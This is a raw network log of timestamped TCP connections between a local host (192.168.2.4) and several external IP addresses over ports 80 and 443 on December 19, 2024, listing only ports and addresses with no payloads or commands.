Dec 19, 2024 14:10:34.390140057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.390187979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.390233994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.390278101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.390968084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.393942118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.431740046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.431759119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.431858063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.432013988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.432060003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.432178020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.432221889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.432286978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.432329893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.433015108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.433063984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.433121920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.433163881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.433928967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.433981895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.434128046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.434175014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.434708118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.434825897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.434875011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.435516119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.435570002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.435578108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.435616016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.436420918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.436438084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.436461926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.436484098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.437232018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.437366962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.437411070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.438268900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.438313961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.438369036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.439057112 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.439105988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.439124107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.439167023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.439747095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.439798117 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.439903975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.439948082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.440618992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.440666914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.440687895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.440730095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.441720963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.441770077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.441844940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.441888094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.442303896 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.442348957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.442502022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.442539930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.443099976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.443141937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.443209887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.443250895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.443939924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.443974018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.444020987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.444787025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.444978952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.445035934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.445789099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.445839882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.445900917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.445940018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.446481943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.446615934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.446670055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.447459936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.447469950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.447515965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.448179960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.448231936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.448337078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.448388100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.449131966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.449178934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.449234962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.449284077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.449841022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.449855089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.450031042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.450787067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.450820923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.450874090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.451546907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.451592922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.451627970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.451679945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.452347040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.452390909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.452446938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.452487946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.453166962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.453206062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.453305006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.453344107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.454016924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.454061031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.454125881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.454168081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:34.454830885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:34.458560944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:35.048836946 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.048985958 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.051054955 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.051065922 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.052136898 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.056015015 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.056166887 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.056226015 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.056313992 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.056324959 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.997419119 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.997664928 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:35.997736931 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.997828007 CET	49823	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:35.997842073 CET	443	49823	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:36.848916054 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:36.849252939 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:36.969116926 CET	80	49829	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:36.969599009 CET	80	49795	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:36.969763994 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:36.972189903 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:36.993336916 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:37.112886906 CET	80	49829	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:37.126658916 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:37.126692057 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:37.130450010 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:37.248294115 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:37.248311043 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:37.350274086 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:37.350368023 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:37.350450993 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:37.350899935 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:37.350936890 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:38.316076040 CET	80	49829	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:38.316190004 CET	49829	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:38.319592953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:38.319998980 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:38.439384937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:38.439472914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:38.439554930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:38.439654112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:38.439840078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:38.559508085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:38.568311930 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:38.568475008 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:38.569833994 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:38.569866896 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:38.570207119 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:38.571682930 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:38.571773052 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:38.571785927 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:39.011607885 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.012134075 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.012154102 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.013631105 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.013731956 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.015067101 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.015145063 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.041934967 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.041945934 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.096421957 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.335834026 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:39.335952997 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:39.336061954 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:39.336314917 CET	49832	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:39.336347103 CET	443	49832	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:39.362219095 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.362307072 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.362368107 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.376854897 CET	49830	443	192.168.2.4	98.85.100.80
Dec 19, 2024 14:10:39.376868010 CET	443	49830	98.85.100.80	192.168.2.4
Dec 19, 2024 14:10:39.765423059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765450001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765465975 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765532017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765598059 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765614986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765630007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765693903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765693903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765728951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765752077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765759945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765784025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765811920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765868902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765883923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.765922070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.765952110 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.885159016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.885176897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.885238886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.885286093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.889343977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.889405012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.889471054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.889523983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.957457066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.957520008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.957685947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.957686901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.959930897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.959984064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.960038900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.960086107 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.968363047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.968442917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.968491077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.968542099 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.976743937 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.976814032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.976869106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.976921082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.985133886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.985189915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.985261917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.985311031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.993521929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.993609905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:39.993697882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:39.993752003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.001895905 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.001913071 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.001970053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.002002954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.010354042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.010370016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.010485888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.018682003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.018758059 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.018810034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.018862963 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.027066946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.027116060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.027179956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.034656048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.034722090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.034768105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.034821033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.042366982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.042383909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.042438030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.042470932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.077223063 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.077467918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.149852037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.149926901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.150032997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.150089979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.152089119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.152139902 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.152187109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.152241945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.156610966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.156675100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.156721115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.156771898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.161103010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.161199093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.161339045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.161401033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.165503025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.165564060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.165608883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.165745974 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.169955969 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.170017004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.170038939 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.170088053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.174422979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.174521923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.174627066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.174680948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.178824902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.178920984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.178946018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.178998947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.183542013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.183620930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.183650970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.183710098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.187737942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.187797070 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.187850952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.187903881 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.192362070 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.192385912 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.192420959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.192454100 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.196655989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.196711063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.196758032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.196829081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.201108932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.201169014 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.201186895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.201240063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.201272964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.205569029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.205626011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.205677986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.205776930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.210028887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.210084915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.210120916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.210165977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.213476896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.213540077 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.213588953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.213649035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.217035055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.217093945 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.217107058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.217156887 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.220434904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.220482111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.220496893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.220530987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.223984957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.223999977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.224052906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.224085093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.227547884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.227602005 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.227638006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.227696896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.230940104 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.231014013 CET	49837	80	192.168.2.4	31.41.244.11
